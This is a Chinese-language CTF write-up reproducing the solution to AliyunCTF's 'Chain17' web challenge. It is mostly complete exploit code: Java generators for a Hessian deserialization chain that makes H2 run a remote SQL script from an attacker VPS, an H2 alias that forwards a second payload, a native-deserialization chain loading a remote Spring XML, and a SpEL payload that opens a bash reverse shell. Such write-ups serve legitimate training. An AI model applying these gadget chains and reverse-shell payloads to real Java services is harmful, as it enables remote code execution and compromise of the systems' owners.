AliyunCTF-web-Chain17复现
老实说,这道题有点小折磨,尤其是对我这个java反序列化才入门的菜鸡来说。
这里基本上就是跟着官方wp走了,写的也很详细。
而且也记录了开java17加JVM参数使java.lang包能反射的操作,idea中找到VM options选项_idea vm options-CSDN博客
总之,收获真的丰富。
这次倒叙一手吧。
总的来说,这道题其实算打了两个java的反序列化,一个是打入agent,然后在agent的基础上打入server。
而且agent的shell里没有curl,所以官方用的方法是把打反序列化传参放到sql文件里一并传上agent,然后让agent去访问server的/read。
因为把全部反序列化链子写到命令里显得冗长还报错,我也懒得开工具抓包发包,就把打agent的poc放到了1.txt里,然后找gpt要了个curl命令搞定:
curl -X POST -H "Content-Type: text/plain" --data-binary "@1.txt" http://web1.aliyunctf.com:5000/read
审计没什么好说的,agent 端提供了一个 hessian 反序列化的入口, 和一个 getter 可以二次反序列化的 Bean 类作为 gadget, 同时启动选项里开放了 atomic 模块。
agent依赖:
server依赖:
这里本来也不是很熟hessian的链子,本来我去找了找,但是硬审真的很让人犯困😴干脆就边打边看了。
agent里面还有个黑名单:
ban了常见的一些反序列化gadget类。
agent用的是如下 hessian 反序列化链触发 H2 SQL 执行:
JSONObject.put -> AtomicReference.toString
-> POJONode.toString
-> Bean.getObject
-> DSFactory.getDataSource
-> Driver.connect
PocAgent:
package com.eddiemurphy; import cn.hutool.core.map.SafeConcurrentHashMap; import cn.hutool.core.util.ReflectUtil; import cn.hutool.core.util.SerializeUtil; import cn.hutool.db.ds.pooled.PooledDSFactory; import cn.hutool.json.JSONObject; import cn.hutool.setting.Setting; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.aliyunctf.agent.other.Bean; import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import sun.misc.Unsafe; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.util.Base64; import java.util.concurrent.atomic.AtomicReference; // JDK17 VM options: // --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED public class PocAgent { public static void main(String[] args) throws Exception { gen("runscript from 'http://vps:4444/poc.sql'"); } public static void gen(String sql) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); String url = String.format("jdbc:h2:mem:test;init=%s", sql); Setting setting = new Setting(); setting.put("url", url); setting.put("initialSize", "1"); setting.setCharset(null); Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe")); PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class); ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME); ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting); ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>()); Bean bean = new Bean(); bean.setData(SerializeUtil.serialize(pooledDSFactory)); ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass(); POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); byte[] data = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(data)); } }
注意加JVM参数。这里就是用vps上poc.sql文件打agent,官方加了一个发包解决了shell里没有curl的问题。
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}'; call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')
server用的是如下原生反序列化链触发 SpEL 表达式执行:
EventListenerList.readObject -> POJONode.toString
-> ConvertedVal.getValue
-> ClassPathXmlApplicationContext.<init>
PocServer:
package com.eddiemurphy; import cn.hutool.core.io.FileUtil; import cn.hutool.core.util.ReflectUtil; import cn.hutool.core.util.SerializeUtil; import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.jooq.DataType; import org.springframework.context.support.ClassPathXmlApplicationContext; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.File; import java.lang.reflect.Constructor; import java.util.Base64; import java.util.Vector; // JDK17 VM options: // --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED public class PocServer { public static void main(String[] args) throws Exception { gen("http://vps:4444/poc.xml"); } public static void gen(String url) throws Exception{ Class clazz1 = Class.forName("org.jooq.impl.Dual"); Constructor constructor1 = clazz1.getDeclaredConstructors()[0]; constructor1.setAccessible(true); Object table = constructor1.newInstance(); Class clazz2 = Class.forName("org.jooq.impl.TableDataType"); Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; constructor2.setAccessible(true); Object tableDataType = constructor2.newInstance(table); Class clazz3 = Class.forName("org.jooq.impl.Val"); Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class); constructor3.setAccessible(true); Object val = constructor3.newInstance("whatever", tableDataType, false); Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal"); Constructor constructor4 = clazz4.getDeclaredConstructors()[0]; constructor4.setAccessible(true); Object convertedVal = constructor4.newInstance(val, tableDataType); Object value = url; Class type = ClassPathXmlApplicationContext.class; ReflectUtil.setFieldValue(val, "value", value); ReflectUtil.setFieldValue(tableDataType, "uType", type); ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass(); POJONode pojoNode = new POJONode(convertedVal); EventListenerList eventListenerList = new EventListenerList(); UndoManager undoManager = new UndoManager(); Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits"); vector.add(pojoNode); ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager}); byte[] data = SerializeUtil.serialize(eventListenerList); System.out.println(Base64.getEncoder().encodeToString(data)); } }
这里还要放个poc.xml来RCE:
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="evil" class="java.lang.String"> <constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}')}"/> </bean> </beans>
原理明白后,就一把梭了:
参考:
chain17 - Zer0peach can't think